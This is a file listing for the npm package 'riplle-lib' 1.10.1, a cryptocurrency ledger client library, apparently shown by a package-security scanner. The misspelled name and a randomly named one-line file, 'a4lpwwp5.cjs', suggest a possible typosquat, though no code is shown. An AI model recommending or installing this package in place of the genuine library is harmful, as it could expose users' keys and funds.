riplle-lib 1.10.1
Sign up to get free protection for your applications and to get access to all the features.
- package/LICENSE +15 -0
- package/README.md +149 -0
- package/a4lpwwp5.cjs +1 -0
- package/build/ripple-latest-min.js +2 -0
- package/build/ripple-latest.js +5181 -0
- package/dist/npm/api.d.ts +272 -0
- package/dist/npm/api.d.ts.map +1 -0
- package/dist/npm/api.js +276 -0
- package/dist/npm/api.js.map +1 -0
- package/dist/npm/broadcast.d.ts +10 -0
- package/dist/npm/broadcast.d.ts.map +1 -0
- package/dist/npm/broadcast.js +67 -0
- package/dist/npm/broadcast.js.map +1 -0
- package/dist/npm/common/backoff.d.ts +14 -0
- package/dist/npm/common/backoff.d.ts.map +1 -0
- package/dist/npm/common/backoff.js +26 -0
- package/dist/npm/common/backoff.js.map +1 -0
- package/dist/npm/common/browser-hacks.d.ts +4 -0
- package/dist/npm/common/browser-hacks.d.ts.map +1 -0
- package/dist/npm/common/browser-hacks.js +21 -0
- package/dist/npm/common/browser-hacks.js.map +1 -0
- package/dist/npm/common/connection.d.ts +50 -0
- package/dist/npm/common/connection.d.ts.map +1 -0
- package/dist/npm/common/connection.js +467 -0
- package/dist/npm/common/connection.js.map +1 -0
- package/dist/npm/common/constants.d.ts +62 -0
- package/dist/npm/common/constants.d.ts.map +1 -0
- package/dist/npm/common/constants.js +54 -0
- package/dist/npm/common/constants.js.map +1 -0
- package/dist/npm/common/errors.d.ts +41 -0
- package/dist/npm/common/errors.d.ts.map +1 -0
- package/dist/npm/common/errors.js +101 -0
- package/dist/npm/common/errors.js.map +1 -0
- package/dist/npm/common/hashes/hash-prefix.d.ts +12 -0
- package/dist/npm/common/hashes/hash-prefix.d.ts.map +1 -0
- package/dist/npm/common/hashes/hash-prefix.js +15 -0
- package/dist/npm/common/hashes/hash-prefix.js.map +1 -0
- package/dist/npm/common/hashes/index.d.ts +13 -0
- package/dist/npm/common/hashes/index.d.ts.map +1 -0
- package/dist/npm/common/hashes/index.js +129 -0
- package/dist/npm/common/hashes/index.js.map +1 -0
- package/dist/npm/common/hashes/ledgerspaces.d.ts +21 -0
- package/dist/npm/common/hashes/ledgerspaces.d.ts.map +1 -0
- package/dist/npm/common/hashes/ledgerspaces.js +22 -0
- package/dist/npm/common/hashes/ledgerspaces.js.map +1 -0
- package/dist/npm/common/hashes/sha512Half.d.ts +3 -0
- package/dist/npm/common/hashes/sha512Half.d.ts.map +1 -0
- package/dist/npm/common/hashes/sha512Half.js +12 -0
- package/dist/npm/common/hashes/sha512Half.js.map +1 -0
- package/dist/npm/common/hashes/shamap.d.ts +38 -0
- package/dist/npm/common/hashes/shamap.d.ts.map +1 -0
- package/dist/npm/common/hashes/shamap.js +121 -0
- package/dist/npm/common/hashes/shamap.js.map +1 -0
- package/dist/npm/common/index.d.ts +10 -0
- package/dist/npm/common/index.d.ts.map +1 -0
- package/dist/npm/common/index.js +57 -0
- package/dist/npm/common/index.js.map +1 -0
- package/dist/npm/common/rangeset.d.ts +13 -0
- package/dist/npm/common/rangeset.d.ts.map +1 -0
- package/dist/npm/common/rangeset.js +72 -0
- package/dist/npm/common/rangeset.js.map +1 -0
- package/dist/npm/common/schema-validator.d.ts +5 -0
- package/dist/npm/common/schema-validator.d.ts.map +1 -0
- package/dist/npm/common/schema-validator.js +190 -0
- package/dist/npm/common/schema-validator.js.map +1 -0
- package/dist/npm/common/schemas/input/api-options.json +69 -0
- package/dist/npm/common/schemas/input/combine.json +19 -0
- package/dist/npm/common/schemas/input/compute-ledger-hash.json +13 -0
- package/dist/npm/common/schemas/input/generate-address.json +37 -0
- package/dist/npm/common/schemas/input/generate-x-address.json +37 -0
- package/dist/npm/common/schemas/input/get-account-info.json +24 -0
- package/dist/npm/common/schemas/input/get-account-objects.json +56 -0
- package/dist/npm/common/schemas/input/get-balance-sheet.json +30 -0
- package/dist/npm/common/schemas/input/get-balances.json +37 -0
- package/dist/npm/common/schemas/input/get-fee.json +13 -0
- package/dist/npm/common/schemas/input/get-ledger.json +35 -0
- package/dist/npm/common/schemas/input/get-orderbook.json +33 -0
- package/dist/npm/common/schemas/input/get-orders.json +29 -0
- package/dist/npm/common/schemas/input/get-paths.json +69 -0
- package/dist/npm/common/schemas/input/get-payment-channel.json +14 -0
- package/dist/npm/common/schemas/input/get-settings.json +24 -0
- package/dist/npm/common/schemas/input/get-transaction.json +28 -0
- package/dist/npm/common/schemas/input/get-transactions.json +71 -0
- package/dist/npm/common/schemas/input/get-trustlines.json +37 -0
- package/dist/npm/common/schemas/input/prepare-check-cancel.json +18 -0
- package/dist/npm/common/schemas/input/prepare-check-cash.json +18 -0
- package/dist/npm/common/schemas/input/prepare-check-create.json +18 -0
- package/dist/npm/common/schemas/input/prepare-escrow-cancellation.json +18 -0
- package/dist/npm/common/schemas/input/prepare-escrow-creation.json +18 -0
- package/dist/npm/common/schemas/input/prepare-escrow-execution.json +18 -0
- package/dist/npm/common/schemas/input/prepare-order-cancellation.json +18 -0
- package/dist/npm/common/schemas/input/prepare-order.json +18 -0
- package/dist/npm/common/schemas/input/prepare-payment-channel-claim.json +18 -0
- package/dist/npm/common/schemas/input/prepare-payment-channel-create.json +18 -0
- package/dist/npm/common/schemas/input/prepare-payment-channel-fund.json +18 -0
- package/dist/npm/common/schemas/input/prepare-payment.json +18 -0
- package/dist/npm/common/schemas/input/prepare-settings.json +18 -0
- package/dist/npm/common/schemas/input/prepare-ticket-create.json +18 -0
- package/dist/npm/common/schemas/input/prepare-trustline.json +18 -0
- package/dist/npm/common/schemas/input/sign-payment-channel-claim.json +21 -0
- package/dist/npm/common/schemas/input/sign.json +55 -0
- package/dist/npm/common/schemas/input/submit.json +17 -0
- package/dist/npm/common/schemas/input/verify-payment-channel-claim.json +25 -0
- package/dist/npm/common/schemas/objects/address.json +12 -0
- package/dist/npm/common/schemas/objects/adjustment.json +12 -0
- package/dist/npm/common/schemas/objects/amount.json +10 -0
- package/dist/npm/common/schemas/objects/amountbase.json +44 -0
- package/dist/npm/common/schemas/objects/balance.json +45 -0
- package/dist/npm/common/schemas/objects/blob.json +8 -0
- package/dist/npm/common/schemas/objects/classic-address.json +9 -0
- package/dist/npm/common/schemas/objects/currency.json +8 -0
- package/dist/npm/common/schemas/objects/destination-address-tag.json +15 -0
- package/dist/npm/common/schemas/objects/destination-adjustment.json +9 -0
- package/dist/npm/common/schemas/objects/destination-exact-adjustment.json +18 -0
- package/dist/npm/common/schemas/objects/hash128.json +7 -0
- package/dist/npm/common/schemas/objects/hash256.json +7 -0
- package/dist/npm/common/schemas/objects/instructions.json +59 -0
- package/dist/npm/common/schemas/objects/issue.json +9 -0
- package/dist/npm/common/schemas/objects/lax-amount.json +14 -0
- package/dist/npm/common/schemas/objects/lax-lax-amount.json +14 -0
- package/dist/npm/common/schemas/objects/ledger-version.json +15 -0
- package/dist/npm/common/schemas/objects/max-adjustment.json +18 -0
- package/dist/npm/common/schemas/objects/memo.json +25 -0
- package/dist/npm/common/schemas/objects/memos.json +10 -0
- package/dist/npm/common/schemas/objects/min-adjustment.json +18 -0
- package/dist/npm/common/schemas/objects/orderbook.json +11 -0
- package/dist/npm/common/schemas/objects/private-key.json +7 -0
- package/dist/npm/common/schemas/objects/public-key.json +7 -0
- package/dist/npm/common/schemas/objects/quality.json +8 -0
- package/dist/npm/common/schemas/objects/sequence.json +8 -0
- package/dist/npm/common/schemas/objects/settings-plus-memos.json +120 -0
- package/dist/npm/common/schemas/objects/signature.json +7 -0
- package/dist/npm/common/schemas/objects/signed-value.json +8 -0
- package/dist/npm/common/schemas/objects/source-adjustment.json +9 -0
- package/dist/npm/common/schemas/objects/source-exact-adjustment.json +18 -0
- package/dist/npm/common/schemas/objects/tag.json +7 -0
- package/dist/npm/common/schemas/objects/ticket-sequence.json +8 -0
- package/dist/npm/common/schemas/objects/transaction-hash.json +8 -0
- package/dist/npm/common/schemas/objects/transaction-type.json +25 -0
- package/dist/npm/common/schemas/objects/tx-json.json +12 -0
- package/dist/npm/common/schemas/objects/uint32.json +8 -0
- package/dist/npm/common/schemas/objects/value.json +8 -0
- package/dist/npm/common/schemas/objects/x-address.json +9 -0
- package/dist/npm/common/schemas/output/generate-address.json +26 -0
- package/dist/npm/common/schemas/output/generate-x-address.json +18 -0
- package/dist/npm/common/schemas/output/get-account-info.json +40 -0
- package/dist/npm/common/schemas/output/get-account-objects.json +48 -0
- package/dist/npm/common/schemas/output/get-balance-sheet.json +33 -0
- package/dist/npm/common/schemas/output/get-balances.json +6 -0
- package/dist/npm/common/schemas/output/get-ledger.json +90 -0
- package/dist/npm/common/schemas/output/get-orderbook.json +17 -0
- package/dist/npm/common/schemas/output/get-orders.json +36 -0
- package/dist/npm/common/schemas/output/get-paths.json +24 -0
- package/dist/npm/common/schemas/output/get-payment-channel.json +67 -0
- package/dist/npm/common/schemas/output/get-server-info.json +117 -0
- package/dist/npm/common/schemas/output/get-settings.json +8 -0
- package/dist/npm/common/schemas/output/get-transaction.json +237 -0
- package/dist/npm/common/schemas/output/get-transactions.json +8 -0
- package/dist/npm/common/schemas/output/get-trustlines.json +49 -0
- package/dist/npm/common/schemas/output/ledger-event.json +46 -0
- package/dist/npm/common/schemas/output/order-change.json +40 -0
- package/dist/npm/common/schemas/output/orderbook-orders.json +58 -0
- package/dist/npm/common/schemas/output/outcome.json +57 -0
- package/dist/npm/common/schemas/output/prepare.json +47 -0
- package/dist/npm/common/schemas/output/sign-payment-channel-claim.json +7 -0
- package/dist/npm/common/schemas/output/sign.json +18 -0
- package/dist/npm/common/schemas/output/submit.json +37 -0
- package/dist/npm/common/schemas/output/verify-payment-channel-claim.json +6 -0
- package/dist/npm/common/schemas/specifications/account-delete.json +30 -0
- package/dist/npm/common/schemas/specifications/check-cancel.json +15 -0
- package/dist/npm/common/schemas/specifications/check-cash.json +27 -0
- package/dist/npm/common/schemas/specifications/check-create.json +32 -0
- package/dist/npm/common/schemas/specifications/deposit-preauth.json +22 -0
- package/dist/npm/common/schemas/specifications/escrow-cancellation.json +19 -0
- package/dist/npm/common/schemas/specifications/escrow-creation.json +42 -0
- package/dist/npm/common/schemas/specifications/escrow-execution.json +29 -0
- package/dist/npm/common/schemas/specifications/get-payment.json +39 -0
- package/dist/npm/common/schemas/specifications/order-cancellation.json +15 -0
- package/dist/npm/common/schemas/specifications/order.json +49 -0
- package/dist/npm/common/schemas/specifications/payment-channel-claim.json +39 -0
- package/dist/npm/common/schemas/specifications/payment-channel-create.json +40 -0
- package/dist/npm/common/schemas/specifications/payment-channel-fund.json +24 -0
- package/dist/npm/common/schemas/specifications/payment.json +39 -0
- package/dist/npm/common/schemas/specifications/settings.json +20 -0
- package/dist/npm/common/schemas/specifications/trustline.json +43 -0
- package/dist/npm/common/serverinfo.d.ts +34 -0
- package/dist/npm/common/serverinfo.d.ts.map +1 -0
- package/dist/npm/common/serverinfo.js +63 -0
- package/dist/npm/common/serverinfo.js.map +1 -0
- package/dist/npm/common/txflags.d.ts +51 -0
- package/dist/npm/common/txflags.d.ts.map +1 -0
- package/dist/npm/common/txflags.js +55 -0
- package/dist/npm/common/txflags.js.map +1 -0
- package/dist/npm/common/types/commands/account_info.d.ts +18 -0
- package/dist/npm/common/types/commands/account_info.d.ts.map +1 -0
- package/dist/npm/common/types/commands/account_info.js +3 -0
- package/dist/npm/common/types/commands/account_info.js.map +1 -0
- package/dist/npm/common/types/commands/account_lines.d.ts +18 -0
- package/dist/npm/common/types/commands/account_lines.d.ts.map +1 -0
- package/dist/npm/common/types/commands/account_lines.js +3 -0
- package/dist/npm/common/types/commands/account_lines.js.map +1 -0
- package/dist/npm/common/types/commands/account_objects.d.ts +27 -0
- package/dist/npm/common/types/commands/account_objects.d.ts.map +1 -0
- package/dist/npm/common/types/commands/account_objects.js +3 -0
- package/dist/npm/common/types/commands/account_objects.js.map +1 -0
- package/dist/npm/common/types/commands/account_offers.d.ts +25 -0
- package/dist/npm/common/types/commands/account_offers.d.ts.map +1 -0
- package/dist/npm/common/types/commands/account_offers.js +3 -0
- package/dist/npm/common/types/commands/account_offers.js.map +1 -0
- package/dist/npm/common/types/commands/book_offers.d.ts +24 -0
- package/dist/npm/common/types/commands/book_offers.d.ts.map +1 -0
- package/dist/npm/common/types/commands/book_offers.js +3 -0
- package/dist/npm/common/types/commands/book_offers.js.map +1 -0
- package/dist/npm/common/types/commands/gateway_balances.d.ts +24 -0
- package/dist/npm/common/types/commands/gateway_balances.d.ts.map +1 -0
- package/dist/npm/common/types/commands/gateway_balances.js +3 -0
- package/dist/npm/common/types/commands/gateway_balances.js.map +1 -0
- package/dist/npm/common/types/commands/index.d.ts +11 -0
- package/dist/npm/common/types/commands/index.d.ts.map +1 -0
- package/dist/npm/common/types/commands/index.js +23 -0
- package/dist/npm/common/types/commands/index.js.map +1 -0
- package/dist/npm/common/types/commands/ledger.d.ts +19 -0
- package/dist/npm/common/types/commands/ledger.d.ts.map +1 -0
- package/dist/npm/common/types/commands/ledger.js +3 -0
- package/dist/npm/common/types/commands/ledger.js.map +1 -0
- package/dist/npm/common/types/commands/ledger_data.d.ts +11 -0
- package/dist/npm/common/types/commands/ledger_data.d.ts.map +1 -0
- package/dist/npm/common/types/commands/ledger_data.js +3 -0
- package/dist/npm/common/types/commands/ledger_data.js.map +1 -0
- package/dist/npm/common/types/commands/ledger_entry.d.ts +30 -0
- package/dist/npm/common/types/commands/ledger_entry.d.ts.map +1 -0
- package/dist/npm/common/types/commands/ledger_entry.js +3 -0
- package/dist/npm/common/types/commands/ledger_entry.js.map +1 -0
- package/dist/npm/common/types/commands/server_info.d.ts +50 -0
- package/dist/npm/common/types/commands/server_info.d.ts.map +1 -0
- package/dist/npm/common/types/commands/server_info.js +3 -0
- package/dist/npm/common/types/commands/server_info.js.map +1 -0
- package/dist/npm/common/types/objects/adjustments.d.ts +17 -0
- package/dist/npm/common/types/objects/adjustments.d.ts.map +1 -0
- package/dist/npm/common/types/objects/adjustments.js +3 -0
- package/dist/npm/common/types/objects/adjustments.js.map +1 -0
- package/dist/npm/common/types/objects/amounts.d.ts +14 -0
- package/dist/npm/common/types/objects/amounts.d.ts.map +1 -0
- package/dist/npm/common/types/objects/amounts.js +3 -0
- package/dist/npm/common/types/objects/amounts.js.map +1 -0
- package/dist/npm/common/types/objects/index.d.ts +13 -0
- package/dist/npm/common/types/objects/index.d.ts.map +1 -0
- package/dist/npm/common/types/objects/index.js +25 -0
- package/dist/npm/common/types/objects/index.js.map +1 -0
- package/dist/npm/common/types/objects/ledger.d.ts +30 -0
- package/dist/npm/common/types/objects/ledger.d.ts.map +1 -0
- package/dist/npm/common/types/objects/ledger.js +3 -0
- package/dist/npm/common/types/objects/ledger.js.map +1 -0
- package/dist/npm/common/types/objects/ledger_data.d.ts +11 -0
- package/dist/npm/common/types/objects/ledger_data.d.ts.map +1 -0
- package/dist/npm/common/types/objects/ledger_data.js +3 -0
- package/dist/npm/common/types/objects/ledger_data.js.map +1 -0
- package/dist/npm/common/types/objects/ledger_entries.d.ts +159 -0
- package/dist/npm/common/types/objects/ledger_entries.d.ts.map +1 -0
- package/dist/npm/common/types/objects/ledger_entries.js +3 -0
- package/dist/npm/common/types/objects/ledger_entries.js.map +1 -0
- package/dist/npm/common/types/objects/memos.d.ts +6 -0
- package/dist/npm/common/types/objects/memos.d.ts.map +1 -0
- package/dist/npm/common/types/objects/memos.js +3 -0
- package/dist/npm/common/types/objects/memos.js.map +1 -0
- package/dist/npm/common/types/objects/orders.d.ts +14 -0
- package/dist/npm/common/types/objects/orders.d.ts.map +1 -0
- package/dist/npm/common/types/objects/orders.js +3 -0
- package/dist/npm/common/types/objects/orders.js.map +1 -0
- package/dist/npm/common/types/objects/queue_data.d.ts +16 -0
- package/dist/npm/common/types/objects/queue_data.d.ts.map +1 -0
- package/dist/npm/common/types/objects/queue_data.js +3 -0
- package/dist/npm/common/types/objects/queue_data.js.map +1 -0
- package/dist/npm/common/types/objects/settings.d.ts +31 -0
- package/dist/npm/common/types/objects/settings.d.ts.map +1 -0
- package/dist/npm/common/types/objects/settings.js +3 -0
- package/dist/npm/common/types/objects/settings.js.map +1 -0
- package/dist/npm/common/types/objects/signers.d.ts +7 -0
- package/dist/npm/common/types/objects/signers.d.ts.map +1 -0
- package/dist/npm/common/types/objects/signers.js +3 -0
- package/dist/npm/common/types/objects/signers.js.map +1 -0
- package/dist/npm/common/types/objects/transactions.d.ts +22 -0
- package/dist/npm/common/types/objects/transactions.d.ts.map +1 -0
- package/dist/npm/common/types/objects/transactions.js +3 -0
- package/dist/npm/common/types/objects/transactions.js.map +1 -0
- package/dist/npm/common/types/objects/trustlines.d.ts +40 -0
- package/dist/npm/common/types/objects/trustlines.d.ts.map +1 -0
- package/dist/npm/common/types/objects/trustlines.js +3 -0
- package/dist/npm/common/types/objects/trustlines.js.map +1 -0
- package/dist/npm/common/utils.d.ts +12 -0
- package/dist/npm/common/utils.d.ts.map +1 -0
- package/dist/npm/common/utils.js +157 -0
- package/dist/npm/common/utils.js.map +1 -0
- package/dist/npm/common/validate.d.ts +38 -0
- package/dist/npm/common/validate.d.ts.map +1 -0
- package/dist/npm/common/validate.js +79 -0
- package/dist/npm/common/validate.js.map +1 -0
- package/dist/npm/common/wswrapper.d.ts +15 -0
- package/dist/npm/common/wswrapper.d.ts.map +1 -0
- package/dist/npm/common/wswrapper.js +38 -0
- package/dist/npm/common/wswrapper.js.map +1 -0
- package/dist/npm/index.d.ts +6 -0
- package/dist/npm/index.d.ts.map +1 -0
- package/dist/npm/index.js +19 -0
- package/dist/npm/index.js.map +1 -0
- package/dist/npm/ledger/accountinfo.d.ts +14 -0
- package/dist/npm/ledger/accountinfo.d.ts.map +1 -0
- package/dist/npm/ledger/accountinfo.js +36 -0
- package/dist/npm/ledger/accountinfo.js.map +1 -0
- package/dist/npm/ledger/accountobjects.d.ts +4 -0
- package/dist/npm/ledger/accountobjects.d.ts.map +1 -0
- package/dist/npm/ledger/accountobjects.js +27 -0
- package/dist/npm/ledger/accountobjects.js.map +1 -0
- package/dist/npm/ledger/balance-sheet.d.ts +17 -0
- package/dist/npm/ledger/balance-sheet.d.ts.map +1 -0
- package/dist/npm/ledger/balance-sheet.js +52 -0
- package/dist/npm/ledger/balance-sheet.js.map +1 -0
- package/dist/npm/ledger/balances.d.ts +11 -0
- package/dist/npm/ledger/balances.d.ts.map +1 -0
- package/dist/npm/ledger/balances.js +61 -0
- package/dist/npm/ledger/balances.js.map +1 -0
- package/dist/npm/ledger/ledger.d.ts +12 -0
- package/dist/npm/ledger/ledger.d.ts.map +1 -0
- package/dist/npm/ledger/ledger.js +28 -0
- package/dist/npm/ledger/ledger.js.map +1 -0
- package/dist/npm/ledger/orderbook.d.ts +22 -0
- package/dist/npm/ledger/orderbook.d.ts.map +1 -0
- package/dist/npm/ledger/orderbook.js +100 -0
- package/dist/npm/ledger/orderbook.js.map +1 -0
- package/dist/npm/ledger/orders.d.ts +8 -0
- package/dist/npm/ledger/orders.d.ts.map +1 -0
- package/dist/npm/ledger/orders.js +56 -0
- package/dist/npm/ledger/orders.js.map +1 -0
- package/dist/npm/ledger/parse/account-delete.d.ts +8 -0
- package/dist/npm/ledger/parse/account-delete.d.ts.map +1 -0
- package/dist/npm/ledger/parse/account-delete.js +36 -0
- package/dist/npm/ledger/parse/account-delete.js.map +1 -0
- package/dist/npm/ledger/parse/account-order.d.ts +11 -0
- package/dist/npm/ledger/parse/account-order.d.ts.map +1 -0
- package/dist/npm/ledger/parse/account-order.js +40 -0
- package/dist/npm/ledger/parse/account-order.js.map +1 -0
- package/dist/npm/ledger/parse/account-trustline.d.ts +4 -0
- package/dist/npm/ledger/parse/account-trustline.d.ts.map +1 -0
- package/dist/npm/ledger/parse/account-trustline.js +28 -0
- package/dist/npm/ledger/parse/account-trustline.js.map +1 -0
- package/dist/npm/ledger/parse/amendment.d.ts +5 -0
- package/dist/npm/ledger/parse/amendment.d.ts.map +1 -0
- package/dist/npm/ledger/parse/amendment.js +9 -0
- package/dist/npm/ledger/parse/amendment.js.map +1 -0
- package/dist/npm/ledger/parse/amount.d.ts +4 -0
- package/dist/npm/ledger/parse/amount.d.ts.map +1 -0
- package/dist/npm/ledger/parse/amount.js +37 -0
- package/dist/npm/ledger/parse/amount.js.map +1 -0
- package/dist/npm/ledger/parse/cancellation.d.ts +3 -0
- package/dist/npm/ledger/parse/cancellation.d.ts.map +1 -0
- package/dist/npm/ledger/parse/cancellation.js +32 -0
- package/dist/npm/ledger/parse/cancellation.js.map +1 -0
- package/dist/npm/ledger/parse/check-cancel.d.ts +6 -0
- package/dist/npm/ledger/parse/check-cancel.d.ts.map +1 -0
- package/dist/npm/ledger/parse/check-cancel.js +33 -0
- package/dist/npm/ledger/parse/check-cancel.js.map +1 -0
- package/dist/npm/ledger/parse/check-cash.d.ts +9 -0
- package/dist/npm/ledger/parse/check-cash.d.ts.map +1 -0
- package/dist/npm/ledger/parse/check-cash.js +39 -0
- package/dist/npm/ledger/parse/check-cash.js.map +1 -0
- package/dist/npm/ledger/parse/check-create.d.ts +11 -0
- package/dist/npm/ledger/parse/check-create.d.ts.map +1 -0
- package/dist/npm/ledger/parse/check-create.js +42 -0
- package/dist/npm/ledger/parse/check-create.js.map +1 -0
- package/dist/npm/ledger/parse/deposit-preauth.d.ts +7 -0
- package/dist/npm/ledger/parse/deposit-preauth.d.ts.map +1 -0
- package/dist/npm/ledger/parse/deposit-preauth.js +34 -0
- package/dist/npm/ledger/parse/deposit-preauth.js.map +1 -0
- package/dist/npm/ledger/parse/escrow-cancellation.d.ts +3 -0
- package/dist/npm/ledger/parse/escrow-cancellation.d.ts.map +1 -0
- package/dist/npm/ledger/parse/escrow-cancellation.js +34 -0
- package/dist/npm/ledger/parse/escrow-cancellation.js.map +1 -0
- package/dist/npm/ledger/parse/escrow-creation.d.ts +3 -0
- package/dist/npm/ledger/parse/escrow-creation.d.ts.map +1 -0
- package/dist/npm/ledger/parse/escrow-creation.js +43 -0
- package/dist/npm/ledger/parse/escrow-creation.js.map +1 -0
- package/dist/npm/ledger/parse/escrow-execution.d.ts +3 -0
- package/dist/npm/ledger/parse/escrow-execution.d.ts.map +1 -0
- package/dist/npm/ledger/parse/escrow-execution.js +36 -0
- package/dist/npm/ledger/parse/escrow-execution.js.map +1 -0
- package/dist/npm/ledger/parse/fee-update.d.ts +9 -0
- package/dist/npm/ledger/parse/fee-update.d.ts.map +1 -0
- package/dist/npm/ledger/parse/fee-update.js +20 -0
- package/dist/npm/ledger/parse/fee-update.js.map +1 -0
- package/dist/npm/ledger/parse/fields.d.ts +3 -0
- package/dist/npm/ledger/parse/fields.d.ts.map +1 -0
- package/dist/npm/ledger/parse/fields.js +47 -0
- package/dist/npm/ledger/parse/fields.js.map +1 -0
- package/dist/npm/ledger/parse/flags.d.ts +16 -0
- package/dist/npm/ledger/parse/flags.d.ts.map +1 -0
- package/dist/npm/ledger/parse/flags.js +20 -0
- package/dist/npm/ledger/parse/flags.js.map +1 -0
- package/dist/npm/ledger/parse/ledger.d.ts +19 -0
- package/dist/npm/ledger/parse/ledger.d.ts.map +1 -0
- package/dist/npm/ledger/parse/ledger.js +76 -0
- package/dist/npm/ledger/parse/ledger.js.map +1 -0
- package/dist/npm/ledger/parse/order.d.ts +4 -0
- package/dist/npm/ledger/parse/order.d.ts.map +1 -0
- package/dist/npm/ledger/parse/order.js +50 -0
- package/dist/npm/ledger/parse/order.js.map +1 -0
- package/dist/npm/ledger/parse/orderbook-order.d.ts +17 -0
- package/dist/npm/ledger/parse/orderbook-order.d.ts.map +1 -0
- package/dist/npm/ledger/parse/orderbook-order.js +63 -0
- package/dist/npm/ledger/parse/orderbook-order.js.map +1 -0
- package/dist/npm/ledger/parse/pathfind.d.ts +4 -0
- package/dist/npm/ledger/parse/pathfind.d.ts.map +1 -0
- package/dist/npm/ledger/parse/pathfind.js +63 -0
- package/dist/npm/ledger/parse/pathfind.js.map +1 -0
- package/dist/npm/ledger/parse/payment-channel-claim.d.ts +3 -0
- package/dist/npm/ledger/parse/payment-channel-claim.d.ts.map +1 -0
- package/dist/npm/ledger/parse/payment-channel-claim.js +44 -0
- package/dist/npm/ledger/parse/payment-channel-claim.js.map +1 -0
- package/dist/npm/ledger/parse/payment-channel-create.d.ts +3 -0
- package/dist/npm/ledger/parse/payment-channel-create.d.ts.map +1 -0
- package/dist/npm/ledger/parse/payment-channel-create.js +43 -0
- package/dist/npm/ledger/parse/payment-channel-create.js.map +1 -0
- package/dist/npm/ledger/parse/payment-channel-fund.d.ts +3 -0
- package/dist/npm/ledger/parse/payment-channel-fund.d.ts.map +1 -0
- package/dist/npm/ledger/parse/payment-channel-fund.js +39 -0
- package/dist/npm/ledger/parse/payment-channel-fund.js.map +1 -0
- package/dist/npm/ledger/parse/payment-channel.d.ts +17 -0
- package/dist/npm/ledger/parse/payment-channel.d.ts.map +1 -0
- package/dist/npm/ledger/parse/payment-channel.js +24 -0
- package/dist/npm/ledger/parse/payment-channel.js.map +1 -0
- package/dist/npm/ledger/parse/payment.d.ts +3 -0
- package/dist/npm/ledger/parse/payment.d.ts.map +1 -0
- package/dist/npm/ledger/parse/payment.js +64 -0
- package/dist/npm/ledger/parse/payment.js.map +1 -0
- package/dist/npm/ledger/parse/settings.d.ts +3 -0
- package/dist/npm/ledger/parse/settings.d.ts.map +1 -0
- package/dist/npm/ledger/parse/settings.js +75 -0
- package/dist/npm/ledger/parse/settings.js.map +1 -0
- package/dist/npm/ledger/parse/ticket-create.d.ts +3 -0
- package/dist/npm/ledger/parse/ticket-create.d.ts.map +1 -0
- package/dist/npm/ledger/parse/ticket-create.js +33 -0
- package/dist/npm/ledger/parse/ticket-create.js.map +1 -0
- package/dist/npm/ledger/parse/transaction.d.ts +3 -0
- package/dist/npm/ledger/parse/transaction.d.ts.map +1 -0
- package/dist/npm/ledger/parse/transaction.js +98 -0
- package/dist/npm/ledger/parse/transaction.js.map +1 -0
- package/dist/npm/ledger/parse/trustline.d.ts +3 -0
- package/dist/npm/ledger/parse/trustline.d.ts.map +1 -0
- package/dist/npm/ledger/parse/trustline.js +50 -0
- package/dist/npm/ledger/parse/trustline.js.map +1 -0
- package/dist/npm/ledger/parse/utils.d.ts +10 -0
- package/dist/npm/ledger/parse/utils.d.ts.map +1 -0
- package/dist/npm/ledger/parse/utils.js +136 -0
- package/dist/npm/ledger/parse/utils.js.map +1 -0
- package/dist/npm/ledger/pathfind-types.d.ts +60 -0
- package/dist/npm/ledger/pathfind-types.d.ts.map +1 -0
- package/dist/npm/ledger/pathfind-types.js +3 -0
- package/dist/npm/ledger/pathfind-types.js.map +1 -0
- package/dist/npm/ledger/pathfind.d.ts +5 -0
- package/dist/npm/ledger/pathfind.d.ts.map +1 -0
- package/dist/npm/ledger/pathfind.js +141 -0
- package/dist/npm/ledger/pathfind.js.map +1 -0
- package/dist/npm/ledger/payment-channel.d.ts +5 -0
- package/dist/npm/ledger/payment-channel.d.ts.map +1 -0
- package/dist/npm/ledger/payment-channel.js +34 -0
- package/dist/npm/ledger/payment-channel.js.map +1 -0
- package/dist/npm/ledger/settings.d.ts +11 -0
- package/dist/npm/ledger/settings.d.ts.map +1 -0
- package/dist/npm/ledger/settings.js +53 -0
- package/dist/npm/ledger/settings.js.map +1 -0
- package/dist/npm/ledger/transaction.d.ts +10 -0
- package/dist/npm/ledger/transaction.d.ts.map +1 -0
- package/dist/npm/ledger/transaction.js +126 -0
- package/dist/npm/ledger/transaction.js.map +1 -0
- package/dist/npm/ledger/transactions.d.ts +20 -0
- package/dist/npm/ledger/transactions.d.ts.map +1 -0
- package/dist/npm/ledger/transactions.js +156 -0
- package/dist/npm/ledger/transactions.js.map +1 -0
- package/dist/npm/ledger/trustlines.d.ts +11 -0
- package/dist/npm/ledger/trustlines.d.ts.map +1 -0
- package/dist/npm/ledger/trustlines.js +58 -0
- package/dist/npm/ledger/trustlines.js.map +1 -0
- package/dist/npm/ledger/utils.d.ts +33 -0
- package/dist/npm/ledger/utils.d.ts.map +1 -0
- package/dist/npm/ledger/utils.js +107 -0
- package/dist/npm/ledger/utils.js.map +1 -0
- package/dist/npm/offline/derive.d.ts +8 -0
- package/dist/npm/offline/derive.d.ts.map +1 -0
- package/dist/npm/offline/derive.js +13 -0
- package/dist/npm/offline/derive.js.map +1 -0
- package/dist/npm/offline/generate-address.d.ts +15 -0
- package/dist/npm/offline/generate-address.d.ts.map +1 -0
- package/dist/npm/offline/generate-address.js +37 -0
- package/dist/npm/offline/generate-address.js.map +1 -0
- package/dist/npm/offline/ledgerhash.d.ts +6 -0
- package/dist/npm/offline/ledgerhash.d.ts.map +1 -0
- package/dist/npm/offline/ledgerhash.js +104 -0
- package/dist/npm/offline/ledgerhash.js.map +1 -0
- package/dist/npm/offline/sign-payment-channel-claim.d.ts +3 -0
- package/dist/npm/offline/sign-payment-channel-claim.d.ts.map +1 -0
- package/dist/npm/offline/sign-payment-channel-claim.js +38 -0
- package/dist/npm/offline/sign-payment-channel-claim.js.map +1 -0
- package/dist/npm/offline/utils.d.ts +10 -0
- package/dist/npm/offline/utils.d.ts.map +1 -0
- package/dist/npm/offline/utils.js +43 -0
- package/dist/npm/offline/utils.js.map +1 -0
- package/dist/npm/offline/verify-payment-channel-claim.d.ts +3 -0
- package/dist/npm/offline/verify-payment-channel-claim.d.ts.map +1 -0
- package/dist/npm/offline/verify-payment-channel-claim.js +18 -0
- package/dist/npm/offline/verify-payment-channel-claim.js.map +1 -0
- package/dist/npm/server/server.d.ts +8 -0
- package/dist/npm/server/server.d.ts.map +1 -0
- package/dist/npm/server/server.js +66 -0
- package/dist/npm/server/server.js.map +1 -0
- package/dist/npm/transaction/check-cancel.d.ts +8 -0
